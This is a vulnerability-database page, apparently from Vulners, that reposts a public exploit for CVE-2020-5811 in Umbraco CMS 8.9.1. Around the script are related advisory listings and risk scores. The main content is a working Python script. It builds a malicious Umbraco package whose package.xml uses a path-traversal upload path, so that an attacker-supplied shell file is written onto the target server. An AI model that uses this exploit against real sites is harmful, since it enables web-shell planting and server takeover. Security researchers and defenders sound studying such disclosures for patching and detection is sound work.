Lucene search
K

Umbraco CMS 8.9.1 Traversal / Arbitrary File Write

🗓️ 31 Aug 2021 00:00:00Reported by BitTheByteType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 165 Views

Umbraco CMS 8.9.1 Path Traversal and Arbitrary File Writ

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated) Exploit
31 Aug 202100:00
zdt
Circl
CVE-2020-5811
21 Sep 202104:41
circl
CNNVD
Umbraco 路径遍历漏洞
30 Dec 202000:00
cnnvd
CNVD
Umbraco Path Traversal Vulnerability
31 Dec 202000:00
cnvd
CVE
CVE-2020-5811
30 Dec 202015:17
cve
Cvelist
CVE-2020-5811
30 Dec 202015:17
cvelist
Exploit DB
Umbraco CMS 8.9.1 - Directory Traversal
31 Aug 202100:00
exploitdb
EUVD
EUVD-2021-0802
7 Oct 202500:30
euvd
Github Security Blog
Authenticated path traversal in Umbraco CMS
13 Apr 202115:51
github
NVD
CVE-2020-5811
30 Dec 202016:15
nvd
Rows per page
`# Exploit Title: Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated)  
# Exploit Author: BitTheByte  
# Description: Authenticated path traversal vulnerability.  
# Exploit Research: https://www.tenable.com/security/research/tra-2020-59  
# Vendor Homepage: https://umbraco.com/  
# Version: <= 8.9.1   
# CVE : CVE-2020-5811  
  
import string  
import random  
import argparse  
import zipfile  
import os  
  
package_xml = f"""<?xml version="1.0" encoding="utf-8"?>  
<umbPackage>  
<files>  
<file>  
<guid>{{filename}}</guid>  
<orgPath>{{upload_path}}</orgPath>  
<orgName>{{filename}}</orgName>  
</file>  
</files>  
<info>  
<package>  
<name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name>  
<version>1.0.0</version>  
<iconUrl></iconUrl>  
<license url="http://opensource.org/licenses/MIT">MIT License</license>  
<url>https://example.com</url>  
<requirements>  
<major>0</major>  
<minor>0</minor>  
<patch>0</patch>  
</requirements>  
</package>  
<author>  
<name>CVE-2020-5811</name>  
<website>https://example.com</website>  
</author>  
<contributors>  
<contributor></contributor>  
</contributors>  
<readme><![CDATA[]]></readme>  
</info>  
<DocumentTypes />  
<Templates />  
<Stylesheets />  
<Macros />  
<DictionaryItems />  
<Languages />  
<DataTypes />  
<Actions />  
</umbPackage>  
"""  
  
parser = argparse.ArgumentParser(description='CVE-2020-5811')  
parser.add_argument('--shell', type=str, help='Shell file to upload', required=True)  
parser.add_argument('--upload-path', type=str, help='Shell file update path on target server (default=~/../scripts)', default='~/../scripts')  
args = parser.parse_args()  
  
if not os.path.isfile(args.shell):  
print("[ERROR] please use a correct path for the shell file.")  
  
output_file = "exploit.zip"  
  
package = zipfile.ZipFile(output_file, 'w')   
package.writestr('package.xml', package_xml.format(filename=os.path.basename(args.shell), upload_path=args.upload_path))  
package.writestr(os.path.basename(args.shell), open(args.shell, 'r').read())  
package.close()  
  
print(f"[DONE] Created Umbraco package: {output_file}")  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2021 00:00Current
0.5Low risk
Vulners AI Score0.5
CVSS 24
CVSS 3.16.5
EPSS0.02606
165